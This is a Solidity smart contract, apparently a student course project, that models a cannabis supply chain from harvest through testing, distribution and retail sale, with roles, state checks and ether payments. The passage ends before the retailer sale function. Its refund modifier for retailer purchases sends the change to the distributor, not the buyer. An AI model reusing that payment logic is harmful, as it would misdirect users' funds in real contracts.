contract SupplyChainBase is Ownable, GrowerRole, TesterRole, DistributorRole, RetailerRole, ConsumerRole {
//
// define structs for items of interest
// We assume our cannabis is grown in bulk in one of 4 varieties/strains:
// 1. Trippy Purple Bubblegum Haze (a sativa)
// 2. Vulcan Mind Melt (a hybrid)
// 3. Catatonic Couchlock Kush (an indica)
// 4. Snoozy Woozy (a high CBD, lower THC strain)
// We can assign each strain a UPC which differentiates it from other strains.
// We assume a very simple mapping between UPC and Strain: the UPC is always a positive integer and
// the ending digit indicates the Strain as follows:
// - UPC ending in 0,1,2 = Trippy Purple Bubblegum Haze
// - UPC ending in 3,4,5 = Vulcan Mind Melt
// - UPC ending in 6,7 = Catatonic Couchlock Kush
// - UPC ending in 8,9 = Snoozy Woozy
// So from the UPC we can always find the Strain, and in the UI we specifiy the Strain by choosing the UPC.
//
// Like coffee, cannabis is a bulk item that gets segmented into retail-sized units later in the process.
// So, an Item in cannabis (or coffee) must also indicate the size we are talking about. Furthermore,
// a single bulk quantity (bale) of cannabis will be processed into a large number of individually sized
// retail packages, so there will be N retail-sized packages for each bale. None of this logic was properly
// considered by Udacity in their starter code, so it is added here.
//
// How I Handle IDs:
// - Each strain is associated with one or more UPC's. The last digit of the UPC indicates the strain.
// - The UPC for a given strain refers to some undetermined bulk quantity of canabis. In order for
// the cannabis to be any sort of "item", it must be segmented first into some number of (say) 10 kg "bales".
// - Each bale from the above bulk cannabis will be uniquely identified by the UPC and a bale ID (a uint).
// It is perfectly possible and acceptable for two bales with different UPCs to have the same value for bale ID,
// ie the bale ID is unique only to the UPC. Again, it is the combination of UPC and bale ID that uniquely identifies the bale.
// - A sample is just a small quantity from a given bale that is sent for testing. Each sample has its own
// sample ID that is unique only to the bale. In our simplified chain, we will only ever have a single sample from a given
// bale.
// - When the bale is processed, it creates some number of retail-sized items. In real life, a bale
// would create a large number (thousands) of retail-sized (say 3 gram) retail packages. For simplicity
// in this project, I reduce that number drastically to 10. In other words, when the cannabis is processed
// it gets converted from a single bale into 10 retail sized (3 gram) retail products.
// - Each retail (3 gram) jar of canabis has its own item ID that is unique only to that bale. The combination of
// item ID, bale ID, and UPC uniquely determines the retail item (the liitle 3 gram jar of weed you buy at the dispensary).
//
//
// Define a variable called 'autosku' which is how we automatically generate SKU.
// In real life, various parties would create their own values, but to keep it simple we just auto-generate this
uint autosku;
enum Strain {
TrippyPurpleBubblegumHaze, // 0
VulcanMindMelt, // 1
CatatonicCouchlockKush, // 2
SnoozyWoozy // 3
}
//
// The cannabis starts out as a bale-sized chunk of plants. It gets processed into a an actual bale (say a 10kg sized chunk).
// Next it gets sampled, tested, and eventually packed.
// When it is packed, it basically ceases to exist as a bale, instead it is now in the form of a large number of retail sized packages
// In this simplified supply chain, each bale creates exactly 10 retail packages (the number in real life will be much larger).
//
enum State {
Harvested, // 0 Bale-sized cannabis is now in the form of a bunch of harvested plants
Processed, // 1 Plants processed to extract the flower and remove unusable matter, formed into a bale
Sampled, // 2 Bale is sampled for testing. Sample is created with state Sampled
SampleRequested, // 3 Tester has requested the sample for testing.
SentToTester, // 4 Bale is sampled and the sample is sent to the tester to check quality, THC and CBD content etc
ReceivedByTester, // 5 Sample received by tester
InTesting, // 6 Sample in testing
Approved, // 7 Sample approved, approval sent back to grower/farmer
Productized, // 8 Bale of cannabis productized/converted to retail packages. Each new retail package has state Productized
ForSaleByGrower, // 9 Bale and its retail packages are now for sale to distributor.
SoldByGrower, // 10 Sold to distributor. The owner of the bale and its retail packages is now the Distributor
ShippedToDistributor, // 11 Shipped to retailer/dispensary
ReceivedByDistributor, // 12 Received by retailer/dispensary.
ForSaleByDistributor, // 13 Bales and retail items now for sale to retailer
SoldByDistributor, // 14 Bales and retail items now sold to retailer. Owner is now the retailer
ShippedToRetailer, // 15 Shipped to retailer/dispensary
ReceivedByRetailer, // 16 Received by retailer/dispensary.
ForSaleByRetailer, // 17 Retailer/dispensary puts individual package onto its shelves for sale
PurchasedByConsumer // 18 Consumer buys a retail package
}
struct FarmInfo {
string originFarmName; // Grower Name
string originFarmInformation; // Grower Information
string originFarmLatitude; // Grow Latitude
string originFarmLongitude; // Grow Longitude
}
struct BaleAddresses {
address payable ownerID; // Metamask-Ethereum address of the current owner as the product moves through various stages
address payable originGrowerID; // Metamask-Ethereum address of the Grower/Farmer
address payable growerID; // Metamask-Ethereum address of the Grower
address payable testerID; // Metamask-Ethereum address of the Tester
address payable distributorID; // Metamask-Ethereum address of the Distributor
address payable retailerID; // Metamask-Ethereum address of the Retailer
}
//
// Define a struct 'BaleItem'
//
struct BaleItem {
uint sku; // Stock Keeping Unit (SKU), generated automatically
uint upc; // Universal Product Code (UPC), generated by the Farmer, goes on the package, can be verified by the Consumer
uint baleId; // ID unique to bale, set by grower
string strainName;
uint thcPct;
uint cbdPct;
string productNotes; // Product Notes
uint growerPrice; // Price charged by grower for distributor to buy bale
uint distributorPrice; // Price charged by distributor to retailer to buy bale
uint numRetailProducts; // Number of retail products created for this bale (eg 10)
State itemState; // Product State as represented in the enum above
BaleAddresses baleAddresses;
}
//
// Define a struct 'SampleItem'. We only store testerID in addresses because the other addresses we can get from the bale.
//
struct SampleItem {
uint upc; // Universal Product Code (UPC), generated by the Grower/Farmer, goes on the package, can be verified by the Consumer
uint baleId; // ID unique to bale, set by grower
uint sampleId; // ID unique to this sample for the given bale
address payable ownerID; // Metamask-Ethereum address of the current owner as the product moves through various stages
State itemState; // Product State as represented in the enum above
address payable testerID; // Metamask-Ethereum address of the Tester
}
//
// Define a struct 'RetailItem'. We only store consumerID in addresses because the other addresses we can get from the bale.
//
struct RetailItem {
uint sku; // Stock Keeping Unit (SKU), generated automatically
uint upc; // Universal Product Code (UPC), generated by the Farmer, goes on the package, can be verified by the Consumer
uint baleId; // ID unique to bale, set by grower
uint retailId; // ID unique to this retail package for the given bale
uint retailPrice; // Product Price for each retail item
address payable ownerID; // Metamask-Ethereum address of the current owner as the product moves through various stages
State itemState; // Product State as represented in the enum above
address payable consumerID; // Metamask-Ethereum address of the Consumer
}
//
// mapping for info about growers
//
mapping (address => FarmInfo) farmsInfo;
//
// mappings for items
//
// store BaleItem by [upc][baleId].
//
mapping (uint => mapping(uint => BaleItem)) bales;
//
// store SampleItem by [upc][baleId][sampleId]
//
mapping (uint => mapping(uint => mapping(uint => SampleItem))) samples;
mapping (uint => mapping(uint => SampleItem[])) samplesForBale;
//
// store RetailItem by [upc][baleId][retailId]
//
mapping (uint => mapping(uint => mapping(uint => RetailItem))) retailItems;
mapping (uint => mapping(uint => RetailItem[])) retailItemsForBale;
//
// Define public mappings 'baleItemsHistory', 'sampleItemsHistory, 'retailItemsHistory'
// that map the UPC and Ids to an array of TxHash,
// that track the item's journey through the supply chain -- to be sent from DApp.
//
mapping (uint => mapping(uint => string[])) baleItemsHistory;
mapping (uint => mapping(uint => mapping(uint => string[]))) sampleItemsHistory;
mapping (uint => mapping(uint => mapping(uint => string[]))) retailItemsHistory;
mapping (uint => string) statesAsStrings;
//
// Define 21 events: 19 events with the same 19 state values plus two creation events: SampleCreated and RetailItemCreated
//
event Harvested(uint upc, uint baleId, uint _state, string _stateStr, string _strainStr);
event Processed(uint upc, uint baleId, uint _state, string _stateStr);
event Sampled(uint upc, uint baleId);
event SampleCreated(uint upc, uint baleId, uint sampleId);
event SampleRequested(uint upc, uint baleId, uint sampleId);
event SentToTester(uint upc, uint baleId, uint sampleId);
event ReceivedByTester(uint upc, uint baleId, uint sampleId);
event InTesting(uint upc, uint baleId, uint sampleId);
event Approved(uint upc, uint baleId, uint sampleId);
event Productized(uint upc, uint baleId);
event RetailItemCreated(uint upc, uint baleId, uint retailId);
event ForSaleByGrower(uint upc, uint baleId, uint growerPrice);
event SoldByGrower(uint upc, uint baleId);
event ShippedToDistributor(uint upc, uint baleId);
event ReceivedByDistributor(uint upc, uint baleId);
event ForSaleByDistributor(uint upc, uint baleId, uint distributorPrice);
event SoldByDistributor(uint upc, uint baleId);
event ShippedToRetailer(uint upc, uint baleId);
event ReceivedByRetailer(uint upc, uint baleId);
event ForSaleByRetailer(uint upc, uint baleId, uint retailId, uint retailPrice);
event PurchasedByConsumer(uint upc, uint baleId, uint retailId);
/////////////////////////
/////////////////////////
// Define modifiers
/////////////////////////
/////////////////////////
/////////////////////////////
// price checking modifiers
/////////////////////////////
// Define a modifer that verifies the Caller
modifier verifyCaller (address _address) {
require(msg.sender == _address);
_;
}
// Define a modifer that verifies the distributor for shipping
modifier verifyDistributor(uint _upc, uint _baleId, address _address) {
require(bales[_upc][_baleId].baleAddresses.distributorID == _address);
_;
}
// Define a modifer that verifies the retailer for shipping or consumer purchase
modifier verifyRetailer(uint _upc, uint _baleId, address _address) {
require(bales[_upc][_baleId].baleAddresses.retailerID == _address);
_;
}
// Define a modifier that checks if the paid amount is sufficient to cover the price
modifier paidEnough(uint _price) {
require(msg.value >= _price);
_;
}
// Need a function version to get around stack too deep issue
function paidEnoughFunc(uint _price) internal view {
require(msg.value >= _price);
}
// Define a modifier that checks the price and refunds the remaining balance to the buyer (the distributor buys bales from grower)
modifier checkGrowerValue(uint _upc, uint baleId) {
uint _price = bales[_upc][baleId].growerPrice;
uint amountToReturn = msg.value - _price;
bales[_upc][baleId].baleAddresses.distributorID.transfer(amountToReturn);
_;
}
// Define a modifier that checks the price and refunds the remaining balance to the buyer (the retailer buys bales from distributor)
modifier checkDistributorValue(uint _upc, uint baleId) {
uint _price = bales[_upc][baleId].distributorPrice;
uint amountToReturn = msg.value - _price;
bales[_upc][baleId].baleAddresses.distributorID.transfer(amountToReturn);
_;
}
// Define a modifier that checks the price and refunds the remaining balance to the buyer (the consumer buys retail items)
modifier checkRetailerValue(uint _upc, uint baleId, uint retailId) {
uint _price = retailItems[_upc][baleId][retailId].retailPrice;
uint amountToReturn = msg.value - _price;
retailItems[_upc][baleId][retailId].consumerID.transfer(amountToReturn);
_;
}
// Need a function version to get around stack too deep issue
function checkRetailerValueFunc(uint _upc, uint baleId, uint retailId) internal {
uint _price = retailItems[_upc][baleId][retailId].retailPrice;
uint amountToReturn = msg.value - _price;
retailItems[_upc][baleId][retailId].consumerID.transfer(amountToReturn);
}
/////////////////////////////
// state checking modifiers
/////////////////////////////
//
// Define a modifier that checks if this bale exists at all yet
// In Solidity, accessing a mapping element will always return something (in this case a struct)
// but if that element has not been written to (was not created in code) it will have values 0
// (in this case all struct elements == 0)
//
// So, this bale will not exist if the sku is 0
//
modifier noSuchBale(uint _upc, uint baleId) {
require(bales[_upc][baleId].sku == 0);
_;
}
// Define a modifier that checks if a bale state is Harvested
modifier harvested(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.Harvested);
_;
}
// Define a modifier that checks if a bale state is Processed
modifier processed(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.Processed);
_;
}
// Define a modifier that checks if a bale state is Sampled
modifier sampled(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.Sampled);
_;
}
// Define a modifier that checks if a bale state is SampleRequested
modifier sampleRequested(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.SampleRequested);
_;
}
// Define a modifier that checks if the sample state is SentToTester
modifier sentToTester(uint _upc, uint baleId, uint sampleId) {
require(samples[_upc][baleId][sampleId].itemState == State.SentToTester);
_;
}
// Define a modifier that checks if the sample state is ReceivedByTester
modifier receivedByTester(uint _upc, uint baleId, uint sampleId) {
require(samples[_upc][baleId][sampleId].itemState == State.ReceivedByTester);
_;
}
// Define a modifier that checks if the sample state is InTesting
modifier inTesting(uint _upc, uint baleId, uint sampleId) {
require(samples[_upc][baleId][sampleId].itemState == State.InTesting);
_;
}
// Define a modifier that checks if the bale state is Approved
// Note: As soon as tester approves sample, the state of both the sample and the bale are set to Approved
modifier approved(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.Approved);
_;
}
// Define a modifier that checks if the bale state is Productized
modifier productized(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.Productized);
_;
}
// Define a modifier that checks if the bale state is ForSaleByGrower
modifier forSaleByGrower(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.ForSaleByGrower);
_;
}
// Define a modifier that checks if the bale state is SoldByGrower
modifier soldByGrower(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.SoldByGrower);
_;
}
// Define a modifier that checks if the bale state is ShippedToDistributor
modifier shippedToDistributor(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.ShippedToDistributor);
_;
}
// Define a modifier that checks if the bale state is ReceivedByDistributor
modifier receivedByDistributor(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.ReceivedByDistributor);
_;
}
// Define a modifier that checks if the bale state is ForSaleByDistributor
modifier forSaleByDistributor(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.ForSaleByDistributor);
_;
}
// Define a modifier that checks if the bale state is SoldByDistributor
modifier soldByDistributor(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.SoldByDistributor);
_;
}
// Define a modifier that checks if the bale state is ShippedToRetailer
modifier shippedToRetailer(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.ShippedToRetailer);
_;
}
//
// Define a modifier that checks if the bale state is ReceivedByRetailer
// This is the final state of the bale
//
modifier receivedByRetailer(uint _upc, uint baleId) {
require(bales[_upc][baleId].itemState == State.ReceivedByRetailer);
_;
}
// Define a modifier that checks if the retail item state is ForSaleByRetailer
modifier forSaleByRetailer(uint _upc, uint baleId, uint retailId) {
require(retailItems[_upc][baleId][retailId].itemState == State.ForSaleByRetailer);
_;
}
// Need a function version to get around stack too deep issue
function forSaleByRetailerFunc(uint _upc, uint baleId, uint retailId) internal view {
require(retailItems[_upc][baleId][retailId].itemState == State.ForSaleByRetailer);
}
// Define a modifier that checks if the retail item state is PurchasedByConsumer
modifier purchasedByConsumer(uint _upc, uint baleId, uint retailId) {
require(retailItems[_upc][baleId][retailId].itemState == State.PurchasedByConsumer);
_;
}
//
// In the constructor set 'autosku' to 1 and call fillStateDescriptions
//
constructor() public payable {
autosku = 1;
fillStateDescriptions();
}
// Define a function 'kill' if required
function kill() onlyOwner public {
selfdestruct(owner());
}
/////////////////////////////////////////////
// cannabis specific functions
/////////////////////////////////////////////
function fillStateDescriptions() internal {
statesAsStrings[uint(State.Harvested)] = "Harvested";
statesAsStrings[uint(State.Processed)] = "Processed";
statesAsStrings[uint(State.Sampled)] = "Sampled";
statesAsStrings[uint(State.SampleRequested)] = "Sample Requested";
statesAsStrings[uint(State.SentToTester)] = "Sent To Tester";
statesAsStrings[uint(State.ReceivedByTester)] = "Received By Tester";
statesAsStrings[uint(State.InTesting)] = "In Testing";
statesAsStrings[uint(State.Approved)] = "Approved";
statesAsStrings[uint(State.Productized)] = "Productized";
statesAsStrings[uint(State.ForSaleByGrower)] = "For Sale By Grower";
statesAsStrings[uint(State.SoldByGrower)] = "Sold By Grower";
statesAsStrings[uint(State.ShippedToDistributor)] = "Shipped To Distributor";
statesAsStrings[uint(State.ReceivedByDistributor)] = "Received By Distributor";
statesAsStrings[uint(State.ForSaleByDistributor)] = "For Sale By Distributor";
statesAsStrings[uint(State.SoldByDistributor)] = "Sold By Distributor";
statesAsStrings[uint(State.ShippedToRetailer)] = "Shipped To Retailer";
statesAsStrings[uint(State.ReceivedByRetailer)] = "Received By Retailer";
statesAsStrings[uint(State.ForSaleByRetailer)] = "For Sale By Retailer";
statesAsStrings[uint(State.PurchasedByConsumer)] = "Purchased By Consumer";
}
function getStateString(State state) internal view returns (string memory) {
return statesAsStrings[uint(state)];
}
function getStrainFromUPC(uint upc) internal pure returns (Strain) {
uint s = upc % 10;
if (s <= 2) {
return Strain.TrippyPurpleBubblegumHaze;
} else if (s <= 5) {
return Strain.VulcanMindMelt;
} else if (s <= 7) {
return Strain.CatatonicCouchlockKush;
} else {
return Strain.SnoozyWoozy;
}
}
function getStrainString(Strain strain) internal pure returns (string memory) {
if (strain == Strain.TrippyPurpleBubblegumHaze) {
return "Trippy Purple Bubblegum Haze";
} else if (strain == Strain.VulcanMindMelt) {
return "Vulcan Mind Melt";
} else if (strain == Strain.CatatonicCouchlockKush) {
return "Catatonic Couchlock Kush";
} else {
return "Snoozy Woozy";
}
}
function setMockTestResultsForStrain(uint upc) internal pure returns ( uint thcPct, uint cbdPct) {
Strain strain = getStrainFromUPC(upc);
if (strain == Strain.TrippyPurpleBubblegumHaze) {
thcPct = 30;
cbdPct = 1;
} else if (strain == Strain.VulcanMindMelt) {
thcPct = 25;
cbdPct = 2;
} else if (strain == Strain.CatatonicCouchlockKush) {
thcPct = 20;
cbdPct = 3;
} else {
// SnoozyWoozy
thcPct = 5;
cbdPct = 20;
}
}
///////////////////////////////////
// action functions
///////////////////////////////////
//
// Define a function 'setGrowerInfo' that sets information aboutthe Farm/Grower
//
function addGrowerInfo(address _growerID, string memory _originFarmName, string memory _originFarmInformation,
string memory _originFarmLatitude, string memory _originFarmLongitude) public
onlyGrower()
{
FarmInfo memory farmInfo = FarmInfo({
originFarmName: _originFarmName,
originFarmInformation: _originFarmInformation,
originFarmLatitude: _originFarmLatitude,
originFarmLongitude: _originFarmLongitude
});
farmsInfo[_growerID] = farmInfo;
}
//
// Define a function 'harvestWeed' that allows a grower to mark a bale 'Harvested'
//
function harvestWeed(uint _upc, uint _baleId, address payable _originGrowerID, string memory _productNotes) public
onlyGrower()
noSuchBale(_upc,_baleId)
returns (uint state, string memory stateStr, string memory strainStr)
{
Strain strain = getStrainFromUPC(_upc);
strainStr = getStrainString(strain);
//
// Add the new item as part of Harvest
//
BaleAddresses memory baleAddresses = BaleAddresses({
ownerID: _originGrowerID,
originGrowerID: _originGrowerID,
growerID: _originGrowerID,
testerID: address(0),
distributorID: address(0),
retailerID: address(0)
});
bales[_upc][_baleId] = BaleItem({
sku: autosku,
upc: _upc,
baleId: _baleId,
strainName: strainStr,
thcPct: 0,
cbdPct: 0,
productNotes: _productNotes,
growerPrice: 0,
distributorPrice: 0,
numRetailProducts: 0,
itemState: State.Harvested,
baleAddresses: baleAddresses
});
//
// Increment sku
//
autosku = autosku + 1;
// Emit the appropriate event
emit Harvested(_upc,_baleId,uint(State.Harvested), stateStr, strainStr);
stateStr = getStateString(State.Harvested);
return (uint(State.Harvested), stateStr, strainStr);
}
//
// Define a function 'processtWeed' that allows a grower/farmer to mark an item 'Processed'
//
function processWeed(uint _upc, uint _baleId) public
onlyGrower()
harvested(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.originGrowerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.Processed;
// Emit the appropriate event
emit Processed(_upc,_baleId, uint(State.Processed), stateStr);
stateStr = getStateString(State.Processed);
return (uint(State.Processed), stateStr);
}
//
// Define a function 'sampleWeed' that creates a sample for testing and allows a grower/farmer to mark bale as 'Sampled'
//
function sampleWeed(uint _upc, uint _baleId, address payable testerAddr) public
onlyGrower()
processed(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.originGrowerID)
returns (uint state, string memory stateStr, uint newSampleId)
{
// Update the appropriate fields
bales[_upc][_baleId].baleAddresses.testerID = testerAddr;
bales[_upc][_baleId].itemState = State.Sampled;
newSampleId = 1;
samples[_upc][_baleId][newSampleId] = SampleItem({
upc: _upc,
baleId: _baleId,
sampleId: newSampleId,
ownerID: bales[_upc][_baleId].baleAddresses.ownerID,
itemState: State.Sampled,
testerID: address(0)
});
samplesForBale[_upc][_baleId].push(samples[_upc][_baleId][newSampleId]);
// Emit the appropriate event
emit Sampled(_upc,_baleId);
emit SampleCreated(_upc,_baleId,newSampleId);
stateStr = getStateString(State.Sampled);
return (uint(State.Sampled), stateStr, newSampleId);
}
//
// Define a function 'requestSample' that let's the tester request a sample from the bale.
// It basically just sets the address for the tester
//
function requestSample(uint _upc, uint _baleId) public
onlyTester()
sampled(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.testerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].baleAddresses.testerID = msg.sender;
bales[_upc][_baleId].itemState = State.SampleRequested;
uint sampleId = samplesForBale[_upc][_baleId][0].sampleId;
samples[_upc][_baleId][sampleId].itemState = State.SampleRequested;
samplesForBale[_upc][_baleId][0].itemState = State.SampleRequested;
// Emit the appropriate event
emit SampleRequested(_upc,_baleId,sampleId);
stateStr = getStateString(State.SampleRequested);
return (uint(State.SampleRequested), stateStr);
}
//
// Define a function 'sendSampleToTester' that let's the grower send the sample to the tester.
//
function sendSampleToTester(uint _upc, uint _baleId, uint _sampleId) public
onlyGrower()
sampleRequested(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.originGrowerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.SentToTester;
samples[_upc][_baleId][_sampleId].itemState = State.SentToTester;
// Emit the appropriate event
emit SentToTester(_upc,_baleId,_sampleId);
stateStr = getStateString(State.SentToTester);
return (uint(State.SentToTester), stateStr);
}
//
// Define a function 'receivedByTester' that let's the tester receive the sample.
//
function setReceivedByTester(uint _upc, uint _baleId, uint _sampleId) public
onlyTester()
sentToTester(_upc,_baleId,_sampleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.testerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ReceivedByTester;
samples[_upc][_baleId][_sampleId].itemState = State.ReceivedByTester;
// Emit the appropriate event
emit ReceivedByTester(_upc,_baleId,_sampleId);
stateStr = getStateString(State.ReceivedByTester);
return (uint(State.ReceivedByTester), stateStr);
}
//
// Define a function 'testSample' that let's the tester start testing the sample
//
function testSample(uint _upc, uint _baleId, uint _sampleId) public
onlyTester()
receivedByTester(_upc,_baleId,_sampleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.testerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.InTesting;
samples[_upc][_baleId][_sampleId].itemState = State.InTesting;
// Emit the appropriate event
emit InTesting(_upc,_baleId,_sampleId);
stateStr = getStateString(State.InTesting);
return (uint(State.InTesting), stateStr);
}
//
// Define a function 'approveSample' that let's the tester approve the sample and bale
// It also uses (Mock) test results to set THC and CBD content
//
function approveSample(uint _upc, uint _baleId, uint _sampleId) public
onlyTester()
inTesting(_upc,_baleId,_sampleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.testerID)
returns (uint state, string memory stateStr, uint thcPct, uint cbdPct)
{
(thcPct, cbdPct) = setMockTestResultsForStrain(_upc);
// Update the appropriate fields
samples[_upc][_baleId][_sampleId].itemState = State.Approved;
bales[_upc][_baleId].thcPct = thcPct;
bales[_upc][_baleId].cbdPct = cbdPct;
bales[_upc][_baleId].itemState = State.Approved;
// Emit the appropriate event
emit Approved(_upc,_baleId,_sampleId);
stateStr = getStateString(State.Approved);
return (uint(State.Approved), stateStr, thcPct, cbdPct);
}
//
// Define a function 'productize' that allows a grower to create retail-sized packages from the bale
// and mark an item 'Productized'
//
function productize(uint _upc, uint _baleId ) public
onlyGrower()
approved(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.originGrowerID)
returns (uint state, string memory stateStr, uint numRetailProducts)
{
//
// create 10 retail sized units (yes in real life we would be creating many more!)
//
for (uint retailId = 1; retailId <=10; retailId++) {
retailItems[_upc][_baleId][retailId] = RetailItem({
sku: bales[_upc][_baleId].sku,
upc: _upc,
baleId: _baleId,
retailId: retailId,
retailPrice: 0,
ownerID: bales[_upc][_baleId].baleAddresses.ownerID,
itemState: State.Productized,
consumerID: address(0)
});
retailItemsForBale[_upc][_baleId].push(retailItems[_upc][_baleId][retailId]);
// Emit the appropriate creation event
emit RetailItemCreated(_upc,_baleId,retailId);
}
// Update the appropriate fields
numRetailProducts=10;
bales[_upc][_baleId].numRetailProducts = numRetailProducts;
bales[_upc][_baleId].itemState = State.Productized;
// emit Productized event
emit Productized(_upc,_baleId);
stateStr = getStateString(State.Productized);
return (uint(State.Productized), stateStr, numRetailProducts);
}
//
// Define a function 'setForSaleByGrower' that allows a grower to mark an item 'ForSaleByGrower'
//
function setForSaleByGrower(uint _upc, uint _baleId, uint _price) public
onlyGrower()
productized(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.originGrowerID)
returns (uint state, string memory stateStr, uint growerPrice)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ForSaleByGrower;
growerPrice = _price;
bales[_upc][_baleId].growerPrice = growerPrice;
// Emit the appropriate event
emit ForSaleByGrower(_upc,_baleId, growerPrice);
stateStr = getStateString(State.ForSaleByGrower);
return (uint(State.ForSaleByGrower), stateStr, growerPrice);
}
//
// Define a function 'buyBaleFromGrower' that allows the distributor to mark an item 'SoldByGrower'
// Use the above defined modifiers to check if the item is available for sale, if the buyer has paid enough,
// and any excess ether sent is refunded back to the buyer
//
function buyBaleFromGrower(uint _upc, uint _baleId) public payable
onlyDistributor()
forSaleByGrower(_upc,_baleId)
paidEnough(bales[_upc][_baleId].growerPrice)
checkGrowerValue(_upc,_baleId)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields - ownerID, distributorID, itemState
bales[_upc][_baleId].baleAddresses.ownerID = msg.sender;
bales[_upc][_baleId].baleAddresses.distributorID = msg.sender;
bales[_upc][_baleId].itemState = State.SoldByGrower;
// Transfer money to grower
bales[_upc][_baleId].baleAddresses.originGrowerID.transfer(bales[_upc][_baleId].growerPrice);
// emit the appropriate event
emit SoldByGrower(_upc,_baleId);
stateStr = getStateString(State.SoldByGrower);
return (uint(State.SoldByGrower), stateStr);
}
//
// Define a function 'shipToDistributor' that allows the distributor to mark an item 'Shipped'
// Use the above modifers to check if the item is sold
//
function shipToDistributor(uint _upc, uint _baleId) public
onlyGrower()
soldByGrower(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.originGrowerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ShippedToDistributor;
// Emit the appropriate event
emit ShippedToDistributor(_upc,_baleId);
stateStr = getStateString(State.ShippedToDistributor);
return (uint(State.ShippedToDistributor), stateStr);
}
//
// Define a function 'receivedByDistributor' that allows the distributor to mark an item 'ReceivedByDistributor'
// Use the above modifers to check if the item is shipped
//
function setReceivedByDistributor(uint _upc, uint _baleId) public
onlyDistributor()
shippedToDistributor(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.distributorID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ReceivedByDistributor;
// Emit the appropriate event
emit ReceivedByDistributor(_upc,_baleId);
stateStr = getStateString(State.ReceivedByDistributor);
return (uint(State.ReceivedByDistributor), stateStr);
}
//
// Define a function 'setForSaleByDistributor' that allows a distributor to mark an item 'ForSaleByDistributor'
//
function setForSaleByDistributor(uint _upc, uint _baleId, uint _distributorPrice) public
onlyDistributor()
receivedByDistributor(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.distributorID)
returns (uint state, string memory stateStr, uint distributorPrice)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ForSaleByDistributor;
distributorPrice = _distributorPrice;
bales[_upc][_baleId].distributorPrice = distributorPrice;
// Emit the appropriate event
emit ForSaleByDistributor(_upc,_baleId, distributorPrice);
stateStr = getStateString(State.ForSaleByDistributor);
return (uint(State.ForSaleByDistributor), stateStr, distributorPrice);
}
//
// Define a function 'buyBaleFromDistributor' that allows the distributor to mark an item 'SoldByDistributor'
// Use the above defined modifiers to check if the item is available for sale, if the buyer has paid enough,
// and any excess ether sent is refunded back to the buyer
//
function buyBaleFromDistributor(uint _upc, uint _baleId) public payable
onlyRetailer()
forSaleByDistributor(_upc,_baleId)
paidEnough(bales[_upc][_baleId].distributorPrice)
checkDistributorValue(_upc,_baleId)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields - ownerID, retailerID, itemState
bales[_upc][_baleId].baleAddresses.ownerID = msg.sender;
bales[_upc][_baleId].baleAddresses.retailerID = msg.sender;
bales[_upc][_baleId].itemState = State.SoldByDistributor;
// Transfer money to distributor
bales[_upc][_baleId].baleAddresses.distributorID.transfer(bales[_upc][_baleId].distributorPrice);
// emit the appropriate event
emit SoldByDistributor(_upc,_baleId);
stateStr = getStateString(State.SoldByDistributor);
return (uint(State.SoldByDistributor), stateStr);
}
//
// Define a function 'shipToRetailer' that allows the distributor to mark an item 'ShippedToRetailer'
// Use the above modifers to check if the item is sold
//
function shipToRetailer(uint _upc, uint _baleId) public
onlyDistributor()
soldByDistributor(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.distributorID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ShippedToRetailer;
// Emit the appropriate event
emit ShippedToRetailer(_upc,_baleId);
stateStr = getStateString(State.ShippedToRetailer);
return (uint(State.ShippedToRetailer), stateStr);
}
//
// Define a function 'receivedByRetailer' that allows the retailer to mark an item 'ReceivedByRetailer'
// Use the above modifers to check if the item is shipped
//
function setReceivedByRetailer(uint _upc, uint _baleId) public
onlyRetailer()
shippedToRetailer(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.retailerID)
returns (uint state, string memory stateStr)
{
// Update the appropriate fields
bales[_upc][_baleId].itemState = State.ReceivedByRetailer;
// Emit the appropriate event
emit ReceivedByRetailer(_upc,_baleId);
stateStr = getStateString(State.ReceivedByRetailer);
return (uint(State.ReceivedByRetailer), stateStr);
}
//
// Define a function 'setForSaleByRetailer' that allows a distributor to mark the retail items as 'ForSaleByRetailer'
//
